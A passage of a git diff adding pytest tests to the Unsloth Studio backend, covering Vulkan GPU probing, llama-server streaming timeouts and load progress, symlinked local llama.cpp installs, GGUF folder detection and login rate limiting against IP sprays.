f"{idx}\t{free_bytes}\t{is_igpu}\t{total_bytes}" + + +def test_integrated_gpu_leaves_host_margin(tmp_path): + binary = _make_vulkan_install(tmp_path) + # iGPU with 30 GiB free; reserve a flat 1024 MiB (llama.cpp --fit-target). + # total stays 0: shared system RAM is not a VRAM budget for the fit. + rows = [_row(0, 30 * GIB, is_igpu = 1, total_bytes = 32 * GIB)] + with _mock_probe(rows): + gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary) + assert gpus == [(0, 30 * 1024 - 1024, 0)], gpus + + +def test_discrete_gpu_free_is_untouched_and_total_passed_through(tmp_path): + binary = _make_vulkan_install(tmp_path) + # 6 GiB free on a partially occupied 24 GiB card: free is untouched and the + # real total flows through so the fit reserves absolute headroom (CUDA/ROCm + # parity) instead of the looser free*frac budget. + rows = [_row(0, 6 * GIB, is_igpu = 0, total_bytes = 24 * GIB)] + with _mock_probe(rows): + gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary) + assert gpus == [(0, 6 * 1024, 24 * 1024)], gpus + + +def test_large_discrete_gpu_is_untouched(tmp_path): + binary = _make_vulkan_install(tmp_path) + # A 48 GiB discrete card stays untouched regardless of size; only the + # iGPU flag triggers the host margin, never a VRAM/RAM ratio. + rows = [_row(0, 47 * GIB, is_igpu = 0, total_bytes = 48 * GIB)] + with _mock_probe(rows): + gpus = LlamaCppBackend._get_gpu_free_memory_vulkan(binary) + assert gpus == [(0, 47 * 1024, 48 * 1024)], gpus + + +def test_inherited_visible_devices_mask_is_passed_through_to_probe(tmp_path, monkeypatch): + # The mask is NOT stripped or filtered in Python: ggml parses it in raw + # physical-device space while this probe reports the compact post-filter + # ordinal, so mixing spaces would be wrong. It is passed through unchanged + # so ggml applies it to the same device list the launch will enumerate. + binary = _make_vulkan_install(tmp_path) + monkeypatch.setenv("GGML_VK_VISIBLE_DEVICES", "1") + captured: dict = {} + rows = [_row(0, 23 * GIB, is_igpu = 0, total_bytes = 24 * GIB)] + with _mock_probe(rows, captured_env = captured): + LlamaCppBackend._get_gpu_free_memory_vulkan(binary) + assert captured.get("GGML_VK_VISIBLE_DEVICES") == "1", captured + + +def test_vulkan_pin_args_uses_device_names_not_env_mask(): + # Pin by compact device name via --device (the space the probe reports and + # the registry names), never by writing a compact ordinal into the raw + # GGML_VK_VISIBLE_DEVICES index space. + assert LlamaCppBackend._vulkan_pin_args([0]) == ["--device", "Vulkan0"] + assert LlamaCppBackend._vulkan_pin_args([1, 2]) == ["--device", "Vulkan1,Vulkan2"] + assert LlamaCppBackend._vulkan_pin_args(None) == [] + assert LlamaCppBackend._vulkan_pin_args([]) == [] + + +def test_vulkan_only_build_is_detected(tmp_path): + binary = _make_vulkan_install(tmp_path) + assert LlamaCppBackend._is_vulkan_backend(binary) is True + + +def test_multi_backend_build_is_not_vulkan_only(tmp_path): + # A custom build that ships CUDA (or HIP) alongside Vulkan must NOT be + # treated as Vulkan-only, or its CUDA GPU would be probed/pinned as a Vulkan + # device; defer to the CUDA/HIP path instead. + binary = _make_vulkan_install(tmp_path) + cuda = "ggml-cuda.dll" if sys.platform == "win32" else "libggml-cuda.so" + (_llama_lib_dir(binary) / cuda).write_bytes(b"stub") + assert LlamaCppBackend._is_vulkan_backend(binary) is False + + +@pytest.mark.skipif(sys.platform == "win32", reason = "shell wrapper fallback is POSIX") +def test_shell_wrapper_entrypoint_resolves_to_real_lib_dir(tmp_path): + # create_exec_entrypoint falls back to a #!/bin/sh wrapper at the install root + # when it cannot symlink; _find_llama_server_binary returns that root entrypoint, + # so _llama_lib_dir must follow the wrapper's exec target to build/bin -- else + # _is_vulkan_backend misses libggml-vulkan.so and the Vulkan probe/pin silently + # never engage on a valid Vulkan install. + import os + + binary = _make_vulkan_install(tmp_path) # tmp_path/build/bin/llama-server + vulkan lib + bindir = Path(binary).parent + wrapper = tmp_path / "llama-server" + wrapper.write_text('#!/bin/sh\nexec "$(dirname "$0")/build/bin/llama-server" "$@"\n') + os.chmod(wrapper, 0o755) + assert _llama_lib_dir(str(wrapper)) == bindir + assert LlamaCppBackend._is_vulkan_backend(str(wrapper)) is True + + +if __name__ == "__main__": + raise SystemExit(pytest.main([__file__, "-v"])) diff --git a/studio/backend/tests/test_llama_cpp_wait_for_health.py b/studio/backend/tests/test_llama_cpp_wait_for_health.py index 1ba6c9f7b5..82c5b4931a 100644 --- a/studio/backend/tests/test_llama_cpp_wait_for_health.py +++ b/studio/backend/tests/test_llama_cpp_wait_for_health.py @@ -67,6 +67,15 @@ class TestWaitForHealthResilience: monkeypatch.setattr(httpx, "get", lambda *a, **kw: ok_resp) assert b._wait_for_health(timeout = 1.0, interval = 0.01) is True + def test_timeout_records_marker_for_classification(self, monkeypatch): + """A live-but-never-healthy server leaves a marker so the failure is + classified as a /health timeout, not a bad GGUF (#5740).""" + b = _make_backend() + b._process.poll.return_value = None + monkeypatch.setattr(httpx, "get", lambda *a, **kw: mock.Mock(status_code = 503)) + assert b._wait_for_health(timeout = 0.02, interval = 0.01) is False + assert any("health check timed out" in ln for ln in b._stdout_lines) + def test_read_error_loops_to_subprocess_poll(self, monkeypatch): """WinError 10054 (httpx.ReadError) must be swallowed; the next iteration sees the dead subprocess and returns False with a structured exit-code log.""" b = _make_backend() diff --git a/studio/backend/tests/test_llama_route_timeouts.py b/studio/backend/tests/test_llama_route_timeouts.py index 5aee6198ba..b4666e3d18 100644 --- a/studio/backend/tests/test_llama_route_timeouts.py +++ b/studio/backend/tests/test_llama_route_timeouts.py @@ -5,6 +5,7 @@ import asyncio import os import sys import time +import threading from types import SimpleNamespace _backend = os.path.join(os.path.dirname(__file__), "..") @@ -40,6 +41,123 @@ def test_stream_first_item_deadline_after_headers(): asyncio.run(_run()) +def test_stream_first_item_deadline_does_not_hop_tasks(): + async def _run(): + outer_task = asyncio.current_task() + seen_tasks = [] + + class _One: + def __init__(self): + self.done = False + + async def __anext__(self): + seen_tasks.append(asyncio.current_task()) + if self.done: + raise StopAsyncIteration + self.done = True + return "data: {}" + + out = [] + async for item in inf_mod._aiter_llama_stream_items( + _One(), + first_token_deadline = time.monotonic() + 1, + ): + out.append(item) + + assert out == ["data: {}"] + assert seen_tasks == [outer_task, outer_task] + + asyncio.run(_run()) + + +def test_stream_first_item_deadline_uses_compat_timeout_without_task_hop(monkeypatch): + monkeypatch.setattr(inf_mod.asyncio, "timeout", None, raising = False) + + async def _run(): + outer_task = asyncio.current_task() + seen_tasks = [] + + class _One: + def __init__(self): + self.done = False + + async def __anext__(self): + seen_tasks.append(asyncio.current_task()) + if self.done: + raise StopAsyncIteration + self.done = True + return "data: {}" + + out = [] + async for item in inf_mod._aiter_llama_stream_items( + _One(), + first_token_deadline = time.monotonic() + 1, + ): + out.append(item) + + assert out == ["data: {}"] + assert seen_tasks == [outer_task, outer_task] + + asyncio.run(_run()) + + +def test_stream_wait_stops_on_known_disconnect_before_read(): + async def _run(): + state = SimpleNamespace(disconnect_checks = 0) + cancel_event = threading.Event() + + class _Request: + async def is_disconnected(self): + state.disconnect_checks += 1 + return True + + class _Unread: + async def __anext__(self): + raise AssertionError("stream should stop before reading upstream") + + async for _ in inf_mod._aiter_llama_stream_items( + _Unread(), + cancel_event = cancel_event, + request = _Request(), + first_token_deadline = time.monotonic() + 1, + ): + raise AssertionError("stream should stop after disconnect") + + assert cancel_event.is_set() + assert state.disconnect_checks == 1 + + asyncio.run(_run()) + + +def test_stream_wait_does_not_shorten_upstream_read_for_disconnect_poll(): + async def _run(): + response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}})) + seen_read_timeouts = [] + + class _Request: + async def is_disconnected(self): + return False + + class _NoItem: + async def __anext__(self): + seen_read_timeouts.append(response.request.extensions["timeout"]["read"]) + raise StopAsyncIteration + + async for _ in inf_mod._aiter_llama_stream_items( + _NoItem(), + cancel_event = threading.Event(), + request = _Request(), + response = response, + first_token_deadline = time.monotonic() + 1, + ): + raise AssertionError("stream should end") + + assert seen_read_timeouts + assert seen_read_timeouts[0] > inf_mod._STREAM_DISCONNECT_POLL_TIMEOUT_S + + asyncio.run(_run()) + + def test_preheader_send_cleanup_on_disconnect_and_cancel(): async def _run(cancel_parent): state = SimpleNamespace(disconnected = False, closed = False, cancelled = False) @@ -85,3 +203,87 @@ def test_preheader_send_cleanup_on_disconnect_and_cancel(): asyncio.run(_run(False)) asyncio.run(_run(True)) + + +def test_stream_stall_timeout_callable_re_resolved_each_read(): + # The OpenAI passthrough passes a callable so the stall bound can switch to + # the short post-terminal grace mid-stream; it must be re-resolved per read, + # not captured once at generator start. + async def _run(): + response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}})) + values = iter([100.0, 2.0]) + seen = [] + + class _Request: + async def is_disconnected(self): + return False + + class _Items: + def __init__(self): + self.count = 0 + + async def __anext__(self): + self.count += 1 + if self.count > 3: + raise StopAsyncIteration + return "data: {}" + + async for _ in inf_mod._aiter_llama_stream_items( + _Items(), + cancel_event = threading.Event(), + request = _Request(), + response = response, + first_token_deadline = time.monotonic() + 1, + post_first_item_read_timeout_s = lambda: next(values, 5.0), + ): + seen.append(response.request.extensions["timeout"].get("read")) + + assert len(seen) == 3 + # The callable is resolved right after the first item (arming the + # post-first window) and again before each later read, consuming + # successive values. + assert seen[0] == 100.0 + assert 1.0 <= seen[1] <= 2.0 + assert 4.0 <= seen[2] <= 5.0 + + asyncio.run(_run()) + + +def test_stream_stall_timeout_disabled_clears_read_timeout(): + # UNSLOTH_OPENAI_COMPAT_STREAM_STALL_TIMEOUT=0 disables the stall guard, so + # the callable returns None. Once a chunk has arrived the leftover + # first-token read timeout must be cleared, else a long post-first-chunk gap + # trips a stale deadline the operator asked to turn off. + async def _run(): + response = SimpleNamespace(request = SimpleNamespace(extensions = {"timeout": {}})) + seen = [] + + class _Request: + async def is_disconnected(self): + return False + + class _Items: + def __init__(self): + self.count = 0 + + async def __anext__(self): + self.count += 1 + if self.count > 2: + raise StopAsyncIteration + return "data: {}" + + async for _ in inf_mod._aiter_llama_stream_items( + _Items(), + cancel_event = threading.Event(), + request = _Request(), + response = response, + first_token_deadline = time.monotonic() + 5, + post_first_item_read_timeout_s = lambda: None, + ): + seen.append(response.request.extensions["timeout"].get("read")) + + # The first-token path armed a finite read timeout; after the first chunk + # with the guard disabled, it is cleared to None on every subsequent read. + assert seen == [None, None], seen + + asyncio.run(_run()) diff --git a/studio/backend/tests/test_load_progress_ready_fraction.py b/studio/backend/tests/test_load_progress_ready_fraction.py new file mode 100644 index 0000000000..2e499cd8c6 --- /dev/null +++ b/studio/backend/tests/test_load_progress_ready_fraction.py @@ -0,0 +1,166 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""load_progress() must report a complete load once llama-server is healthy. + +With layers offloaded to VRAM (-ngl) the server releases the mmap'd weight pages +after upload, so its VmRSS sinks back well below the shard total. The raw RSS +fraction would then sit at a partial (~8%) value forever and freeze a +fraction-driven progress bar even though the model is ready -- the "stuck around +8% on the second pass" symptom in #5740. In the ready phase the fraction must be +1.0 regardless of resident set size. +""" + +from __future__ import annotations + +import io +import sys +import types +from pathlib import Path +from unittest.mock import patch + +import pytest + +# Stub heavy/unavailable deps before importing the module under test, so a +# targeted run in the lightweight backend env (no structlog/httpx) still +# collects. setdefault keeps the real modules when they are installed. Mirrors +# test_llama_cpp_load_progress_matrix.py. +_BACKEND_DIR = str(Path(__file__).resolve().parent.parent) +if _BACKEND_DIR not in sys.path: + sys.path.insert(0, _BACKEND_DIR) + +_loggers_stub = types.ModuleType("loggers") +_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name) +sys.modules.setdefault("loggers", _loggers_stub) + +sys.modules.setdefault("structlog", types.ModuleType("structlog")) + +_httpx_stub = types.ModuleType("httpx") +for _exc_name in ( + "ConnectError", + "TimeoutException", + "ReadTimeout", + "ReadError", + "RemoteProtocolError", + "CloseError", +): + setattr(_httpx_stub, _exc_name, type(_exc_name, (Exception,), {})) + + +class _FakeTimeout: + def __init__(self, *a, **kw): + pass + + +_httpx_stub.Timeout = _FakeTimeout +_httpx_stub.Client = type( + "Client", + (), + { + "__init__": lambda self, **kw: None, + "__enter__": lambda self: self, + "__exit__": lambda self, *a: None, + }, +) +sys.modules.setdefault("httpx", _httpx_stub) + +from core.inference.llama_cpp import LlamaCppBackend # noqa: E402 + + +def _backend( + gguf_path, + *, + healthy, + pid = 4321, +): + # Bare instance: exercise load_progress() without the heavy real __init__. + be = object.__new__(LlamaCppBackend) + be._process = types.SimpleNamespace(pid = pid) + be._gguf_path = str(gguf_path) + be._healthy = healthy + return be + + +def _gguf(tmp_path, size_bytes): + f = tmp_path / "model-Q4_K_M.gguf" + f.write_bytes(b"\0" * size_bytes) + return f + + +def test_ready_reports_complete_despite_low_rss(tmp_path, monkeypatch): + # Healthy, but VmRSS has dropped to ~8% of the shard total after VRAM upload. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(_gguf(tmp_path, 10000), healthy = True) + p = be.load_progress() + assert p["phase"] == "ready" + assert p["fraction"] == 1.0 # not 0.08 + assert p["bytes_loaded"] == p["bytes_total"] == 10000 + + +def test_mmap_phase_reports_raw_rss_fraction(tmp_path, monkeypatch): + # Still loading: the bar should track real residency, not jump to 1.0. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(_gguf(tmp_path, 10000), healthy = False) + p = be.load_progress() + assert p["phase"] == "mmap" + assert p["fraction"] == 0.08 + assert p["bytes_loaded"] == 800 + assert p["bytes_total"] == 10000 + + +def test_progress_fraction_is_monotonic(tmp_path, monkeypatch): + # RSS peaks during page-in, then drops after -ngl offload; the bar must hold + # its high-water mark instead of collapsing back to ~8% (#5740). + be = _backend(_gguf(tmp_path, 10000), healthy = False) + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 9000)) + assert be.load_progress()["fraction"] == 0.9 + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + p = be.load_progress() + assert p["fraction"] == 0.9 + assert p["bytes_loaded"] == 9000 + + +def test_ready_without_shard_size_still_completes(tmp_path, monkeypatch): + # bytes_total unknown (file unstattable): fraction must still read complete. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: 800)) + be = _backend(tmp_path / "missing.gguf", healthy = True) + p = be.load_progress() + assert p["phase"] == "ready" + assert p["fraction"] == 1.0 + assert p["bytes_total"] == 0 + + +def test_none_when_no_process(tmp_path): + be = _backend(_gguf(tmp_path, 10000), healthy = True) + be._process = None + assert be.load_progress() is None + + +def test_none_when_rss_unreadable(tmp_path, monkeypatch): + # /proc unavailable (macOS/Windows) or unreadable -> no progress payload. + monkeypatch.setattr(LlamaCppBackend, "_read_rss_bytes", staticmethod(lambda pid: None)) + be = _backend(_gguf(tmp_path, 10000), healthy = False) + assert be.load_progress() is None + + +def test_read_rss_bytes_absent_pid_is_none(): + # A pid with no readable /proc entry (or no /proc at all) yields None, never + # raises. + assert LlamaCppBackend._read_rss_bytes(2**31 - 1) is None + + +def test_read_rss_bytes_valueless_line_is_none(): + # A "VmRSS:" line with no value column must not raise (IndexError) -> None. + def fake_open(path, *a, **kw): + if str(path).startswith("/proc/"): + return io.StringIO("Name:\ttest\nVmRSS:\n") + return open(path, *a, **kw) + + with patch("builtins.open", side_effect = fake_open): + assert LlamaCppBackend._read_rss_bytes(4321) is None + + +@pytest.mark.skipif(not sys.platform.startswith("linux"), reason = "/proc is Linux-only") +def test_read_rss_bytes_reads_self_on_linux(): + rss = LlamaCppBackend._read_rss_bytes(__import__("os").getpid()) + assert isinstance(rss, int) and rss > 0 diff --git a/studio/backend/tests/test_local_llama_cpp_link.py b/studio/backend/tests/test_local_llama_cpp_link.py new file mode 100644 index 0000000000..c78c029d91 --- /dev/null +++ b/studio/backend/tests/test_local_llama_cpp_link.py @@ -0,0 +1,137 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Behavioral tests for the --with-llama-cpp-dir 'unmanaged local link' contract. + +When the canonical llama.cpp dir is a symlink (POSIX) / junction (Windows) to a +user's own checkout, Studio must treat it as externally managed: + - the in-app updater must not offer or apply a prebuilt over the link + - orphan cleanup must not kill a llama-server the user launched from that tree + +These exercise real link behavior rather than grepping the scripts. +""" + +import os +import subprocess +from pathlib import Path + +import pytest + +from utils import llama_cpp_update as u +from core.inference.llama_cpp import LlamaCppBackend + + +def _make_link(link: Path, target: Path) -> None: + """Create a directory junction (Windows) / symlink (POSIX); neither needs + elevation.""" + target.mkdir(parents = True, exist_ok = True) + if os.name == "nt": + subprocess.run( + ["cmd", "/c", "mklink", "/J", str(link), str(target)], + check = True, + capture_output = True, + text = True, + ) + else: + link.symlink_to(target, target_is_directory = True) + + +def _server_subpath() -> Path: + return Path( + "build/bin/Release/llama-server.exe" if os.name == "nt" else "build/bin/llama-server" + ) + + +class _FakeProc: + def __init__(self, pid: int, exe: str) -> None: + self.info = {"pid": pid, "name": "llama-server", "exe": exe} + self.killed = False + + def kill(self) -> None: + self.killed = True + + +def test_is_external_link_detects_link_vs_plain_dir(tmp_path: Path) -> None: + plain = tmp_path / "plain" + plain.mkdir() + assert u._is_external_link(plain) is False + + link = tmp_path / "link" + _make_link(link, tmp_path / "tgt") + assert u._is_external_link(link) is True + + +def test_active_install_is_local_link(tmp_path: Path) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + binary = str(link / _server_subpath()) + assert u._active_install_is_local_link(binary) is True + + # A plain (non-link) llama.cpp dir is Studio-managed, not a local link. + plain = tmp_path / "plain" / "llama.cpp" + plain.mkdir(parents = True) + assert u._active_install_is_local_link(str(plain / _server_subpath())) is False + + +def test_get_update_status_reports_local_link(tmp_path: Path, monkeypatch) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath())) + st = u.get_update_status() + assert st["supported"] is False + assert st["update_available"] is False + assert st["local_link"] is True + + +def test_start_update_refuses_local_link(tmp_path: Path, monkeypatch) -> None: + link = tmp_path / "llama.cpp" + _make_link(link, tmp_path / "tgt") + monkeypatch.setattr(u, "_find_binary", lambda: str(link / _server_subpath())) + res = u.start_update() + assert res["started"] is False + assert res["reason"] == "local_link" + + +def _run_orphan_scan(monkeypatch, studio_root: Path, fake: _FakeProc) -> int: + # psutil drives the cross-platform process scan; skip (rather than error) if a + # minimal test env lacks it. CI installs it so these tests actually run. + psutil = pytest.importorskip("psutil") + + monkeypatch.setattr( + LlamaCppBackend, + "_resolved_studio_root_and_is_legacy", + staticmethod(lambda: (studio_root.resolve(), False)), + ) + monkeypatch.setattr(LlamaCppBackend, "_reap_recorded_pid", staticmethod(lambda: 0)) + monkeypatch.setattr(psutil, "process_iter", lambda attrs = None: iter([fake])) + return LlamaCppBackend._kill_orphaned_servers() + + +def test_orphan_cleanup_spares_local_link_tree(tmp_path: Path, monkeypatch) -> None: + studio_root = tmp_path / "studio-home" + studio_root.mkdir() + external = tmp_path / "external" + (external / _server_subpath().parent).mkdir(parents = True) + (external / _server_subpath()).write_text("x") + _make_link(studio_root / "llama.cpp", external) + + exe_under_link = str((external / _server_subpath()).resolve()) + fake = _FakeProc(os.getpid() + 777, exe_under_link) + killed = _run_orphan_scan(monkeypatch, studio_root, fake) + assert killed == 0 + assert fake.killed is False + + +def test_orphan_cleanup_kills_under_real_root(tmp_path: Path, monkeypatch) -> None: + # Control: a real (non-link) managed root still gets its orphan reaped, so + # the spare-the-link test above is meaningful (not a no-op). + studio_root = tmp_path / "studio-home" + bin_dir = studio_root / "llama.cpp" / _server_subpath().parent + bin_dir.mkdir(parents = True) + exe = studio_root / "llama.cpp" / _server_subpath() + exe.write_text("x") + + fake = _FakeProc(os.getpid() + 888, str(exe.resolve())) + killed = _run_orphan_scan(monkeypatch, studio_root, fake) + assert killed == 1 + assert fake.killed is True diff --git a/studio/backend/tests/test_local_model_format.py b/studio/backend/tests/test_local_model_format.py new file mode 100644 index 0000000000..b569163cc8 --- /dev/null +++ b/studio/backend/tests/test_local_model_format.py @@ -0,0 +1,117 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Tests for local GGUF ``model_format`` classification (PR #6364 follow-up). + +Suffixless GGUF folders (custom folders / LM Studio) carry no ``-GGUF`` name +hint, so the scanners must surface ``model_format = "gguf"`` for the UI to route +them through the GGUF load path. The rule, shared by ``_dir_model_format`` and +``_scan_models_dir``: a directory is GGUF-format when it holds ``.gguf`` files +and no non-GGUF weights (``.safetensors`` / ``.bin``); a stray ``config.json`` +must not disqualify it. + +No GPU/network: only file names and sizes are inspected. +""" + +from __future__ import annotations + +import sys +import types +from pathlib import Path + +# Keep runnable without optional logging deps (mirrors the sibling tests). +if "structlog" not in sys.modules: + + class _DummyLogger: + def __getattr__(self, _name): + return lambda *args, **kwargs: None + + sys.modules["structlog"] = types.SimpleNamespace( + BoundLogger = _DummyLogger, + get_logger = lambda *args, **kwargs: _DummyLogger(), + ) + +import routes.models as models_route + + +def _touch(path: Path) -> Path: + path.parent.mkdir(parents = True, exist_ok = True) + path.write_bytes(b"\0") + return path + + +def test_dir_model_format_gguf_only(tmp_path): + d = tmp_path / "model" + _touch(d / "model-Q4_K_M.gguf") + assert models_route._dir_model_format(d) == "gguf" + + +def test_dir_model_format_gguf_with_config_is_still_gguf(tmp_path): + # A config.json alongside the .gguf must not flip it to non-GGUF. + d = tmp_path / "model" + _touch(d / "config.json") + _touch(d / "model-Q4_K_M.gguf") + assert models_route._dir_model_format(d) == "gguf" + + +def test_dir_model_format_mixed_weights_is_not_gguf(tmp_path): + # Real safetensors weights present -> not a GGUF folder. + d = tmp_path / "model" + _touch(d / "model.safetensors") + _touch(d / "model-Q4_K_M.gguf") + assert models_route._dir_model_format(d) is None + + +def test_dir_model_format_no_gguf(tmp_path): + d = tmp_path / "model" + _touch(d / "config.json") + _touch(d / "model.safetensors") + assert models_route._dir_model_format(d) is None + + +def test_dir_model_format_ignores_tokenizer_bin(tmp_path): + # A companion tokenizer.bin is not a weight file, so a GGUF folder shipping + # one is still GGUF (not misread as a plain .bin checkpoint). + d = tmp_path / "model" + _touch(d / "tokenizer.bin") + _touch(d / "model-Q4_K_M.gguf") + assert models_route._dir_model_format(d) == "gguf" + + +def test_dir_model_format_weight_bin_is_not_gguf(tmp_path): + # A real PyTorch weight .bin alongside a .gguf means mixed weights -> None. + d = tmp_path / "model" + _touch(d / "pytorch_model.bin") + _touch(d / "model-Q4_K_M.gguf") + assert models_route._dir_model_format(d) is None + + +def test_scan_models_dir_classifies_gguf_with_config(tmp_path): + root = tmp_path / "models" + # GGUF repo that also ships a config.json (the regression case). + _touch(root / "gguf_repo" / "config.json") + _touch(root / "gguf_repo" / "model-Q4_K_M.gguf") + # A plain safetensors checkpoint stays non-GGUF. + _touch(root / "st_repo" / "config.json") + _touch(root / "st_repo" / "model.safetensors") + # A standalone .gguf file is GGUF. + _touch(root / "loose.gguf") + + fmt = {Path(m.path).name: m.model_format for m in models_route._scan_models_dir(root)} + + assert fmt["gguf_repo"] == "gguf" + assert fmt["st_repo"] is None + assert fmt["loose.gguf"] == "gguf" + + +def test_scan_models_dir_classifies_root_gguf_with_config(tmp_path): + # Custom scan folders can point directly at a GGUF repo, not only at a + # parent directory that contains model repos. + root = tmp_path / "SuffixlessRepo" + _touch(root / "config.json") + _touch(root / "model-Q4_K_M.gguf") + + [row] = models_route._scan_models_dir(root) + + assert row.path == str(root) + assert row.model_format == "gguf" diff --git a/studio/backend/tests/test_login_rate_limit.py b/studio/backend/tests/test_login_rate_limit.py index 14b10576da..6f9635e41e 100644 --- a/studio/backend/tests/test_login_rate_limit.py +++ b/studio/backend/tests/test_login_rate_limit.py @@ -29,9 +29,15 @@ def _reset_buckets(): auth_routes._LOGIN_BUCKETS.clear() auth_routes._LOGIN_IP_BUCKETS.clear() + for _shard in auth_routes._LOGIN_IP_OVERFLOW: + _shard.clear() + auth_routes._LAST_IP_PRUNE = 0.0 yield auth_routes._LOGIN_BUCKETS.clear() auth_routes._LOGIN_IP_BUCKETS.clear() + for _shard in auth_routes._LOGIN_IP_OVERFLOW: + _shard.clear() + auth_routes._LAST_IP_PRUNE = 0.0 @pytest.fixture @@ -215,6 +221,245 @@ class TestBucketKeyAndBlocking: # Hard cap respected; further keys don't allocate. assert len(auth_routes._LOGIN_BUCKETS) <= 10 + def test_ip_bucket_cap_bounds_without_disabling_throttling(self, env_no_proxy, monkeypatch): + """The per-IP dict is bounded, but saturating it must NOT disable + throttling: a new IP that keeps failing after the cap is hit is still + blocked (now via the shared overflow counter).""" + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5) + # Saturate the per-IP dict with distinct source IPs. + for idx in range(50): + auth_routes._record_login_failure((f"198.51.100.{idx}", "admin")) + assert len(auth_routes._LOGIN_IP_BUCKETS) <= 10 # bounded + + # A brand-new IP arriving after saturation is still throttled: it can't get + # its own bucket, so its failures land in the shared overflow counter. + victim = ("203.0.113.99", "admin") + for _ in range(5): + auth_routes._record_login_failure(victim) + assert auth_routes._login_blocked(victim) > 0 + + def test_saturating_spray_cannot_reset_a_hot_ip_bucket(self, env_no_proxy, monkeypatch): + """An IP flooding the dict must not evict (and reset) its own hot bucket. + + With FIFO eviction the oldest-inserted bucket -- the attacker's own, now + blocked -- was popped once enough fresh IPs arrived, letting the attacker + retry as first-seen. The overflow counter must keep it throttled. + """ + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5) + # Neutralize account-bucket blocking so this isolates the per-IP path. + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100) + + attacker = ("203.0.113.7", "admin") + for _ in range(5): + auth_routes._record_login_failure(attacker) + assert auth_routes._login_blocked(attacker) > 0 # attacker is throttled + + # Attacker sprays many distinct IPs to try to push its own bucket out. + for idx in range(100): + auth_routes._record_login_failure((f"198.51.100.{idx}", "admin")) + + # Still throttled: its hot bucket survived rather than being evicted. + assert auth_routes._login_blocked(attacker) > 0 + + def test_overflow_is_sharded_so_a_hot_ip_does_not_block_unrelated_ips( + self, env_no_proxy, monkeypatch + ): + """A saturating spray must not globally deny login: a hot overflow shard + throttles only the IPs that hash to it, not every new unbucketed client. + """ + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5) + # Neutralize account-bucket blocking so this isolates the per-IP path. + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100) + + # Saturate the bucket dict so further new IPs fall through to overflow. + for idx in range(10): + auth_routes._record_login_failure((f"10.0.0.{idx}", "admin")) + + # Drive one IP's real overflow shard hot. + attacker_ip = "198.51.100.7" + for _ in range(5): + auth_routes._record_login_failure((attacker_ip, "admin")) + assert auth_routes._login_blocked((attacker_ip, "admin")) > 0 + + # A new IP in a *different* shard must not be denied (a single global + # counter would block it; a sharded one preserves per-source isolation). + attacker_shard = auth_routes._overflow_shard(attacker_ip) + victim_ip = next( + f"203.0.113.{i}" + for i in range(256) + if auth_routes._overflow_shard(f"203.0.113.{i}") is not attacker_shard + ) + assert auth_routes._login_blocked((victim_ip, "admin")) == 0 + + def test_overflow_throttle_survives_capacity_freeing(self, env_no_proxy, monkeypatch): + """A source throttled via overflow must stay throttled even if a bucket + frees up before the window expires; otherwise a fresh bucket resets it. + """ + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_MAX_FAILS", 5) + # Neutralize account-bucket blocking so this isolates the per-IP path. + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_FAILS", 100) + + # Saturate the dict, then drive a source's overflow shard hot. + for idx in range(10): + auth_routes._record_login_failure((f"10.0.0.{idx}", "admin")) + attacker = ("198.51.100.7", "admin") + for _ in range(5): + auth_routes._record_login_failure(attacker) + assert auth_routes._login_blocked(attacker) > 0 + + # A successful login from another IP frees a bucket slot. + auth_routes._clear_login_bucket(("10.0.0.0", "admin")) + assert len(auth_routes._LOGIN_IP_BUCKETS) < auth_routes._LOGIN_MAX_BUCKETS + + # Still throttled (overflow shard still hot), and a new failure that now + # gets a fresh per-IP bucket must not reset the throttle. + assert auth_routes._login_blocked(attacker) > 0 + auth_routes._record_login_failure(attacker) + assert auth_routes._login_blocked(attacker) > 0 + + def test_overflow_shard_is_memory_bounded_under_cardinality_spray( + self, env_no_proxy, monkeypatch + ): + """A high-cardinality spray must not grow overflow memory without bound: + each shard tracks at most _LOGIN_IP_OVERFLOW_MAX distinct IPs. + """ + from routes import auth as auth_routes + + monkeypatch.setattr(auth_routes, "_LOGIN_MAX_BUCKETS", 10) + monkeypatch.setattr(auth_routes, "_LOGIN_IP_OVERFLOW_MAX", 8) + + # Saturate the dict, then spray thousands of distinct one-off IPs. + for idx in range(10): + auth_routes._record_login_failure((f"10.0.0.{idx}", "admin")) + for idx in range(5000): + auth_routes._record_login_failure((f"198.51.{idx // 256}.{idx % 256}", 